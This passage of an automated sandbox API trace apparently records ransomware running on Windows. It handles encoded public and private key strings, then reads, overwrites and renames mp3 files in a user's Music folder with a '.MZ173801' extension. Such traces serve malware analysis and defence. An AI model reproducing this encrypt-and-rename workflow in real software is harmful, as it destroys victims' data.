QdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.994] GetCurrentThreadId () returned 0xab4 [0158.994] GetCurrentThreadId () returned 0xab4 [0158.994] GetCurrentThreadId () returned 0xab4 [0158.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.995] GetCurrentThreadId () returned 0xab4 [0158.995] GetCurrentThreadId () returned 0xab4 [0158.995] GetCurrentThreadId () returned 0xab4 [0158.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.995] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0158.995] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.995] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x6845 [0158.995] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0158.995] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x6845, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x6845, lpOverlapped=0x0) returned 1 [0158.996] CloseHandle (hObject=0x2f8) returned 1 [0158.997] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0158.998] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a8040*, nNumberOfBytesToWrite=0x6845, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a8040*, lpNumberOfBytesWritten=0x19f758*=0x6845, lpOverlapped=0x0) returned 1 [0158.999] CloseHandle (hObject=0x2f8) returned 1 [0159.008] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\1HV6OOMj2L4Qe_mHPLK.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\1hv6oomj2l4qe_mhplk.mp3.mz173801")) returned 1 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] GetCurrentThreadId () returned 0xab4 [0159.009] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a39800, ftCreationTime.dwHighDateTime=0x1d5e2ac, ftLastAccessTime.dwLowDateTime=0x773740b0, ftLastAccessTime.dwHighDateTime=0x1d5ec56, ftLastWriteTime.dwLowDateTime=0x773740b0, ftLastWriteTime.dwHighDateTime=0x1d5ec56, nFileSizeHigh=0x0, nFileSizeLow=0xce58, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="4Nap.mp3", cAlternateFileName="")) returned 1 [0159.009] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.009] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a39800, ftCreationTime.dwHighDateTime=0x1d5e2ac, ftLastAccessTime.dwLowDateTime=0x773740b0, ftLastAccessTime.dwHighDateTime=0x1d5ec56, ftLastWriteTime.dwLowDateTime=0x773740b0, ftLastWriteTime.dwHighDateTime=0x1d5ec56, nFileSizeHigh=0x0, nFileSizeLow=0xce58)) returned 1 [0159.010] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3")) returned 0x20 [0159.010] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3", dwFileAttributes=0x80) returned 1 [0159.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.013] GetCurrentThreadId () returned 0xab4 [0159.013] GetCurrentThreadId () returned 0xab4 [0159.013] GetCurrentThreadId () returned 0xab4 [0159.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 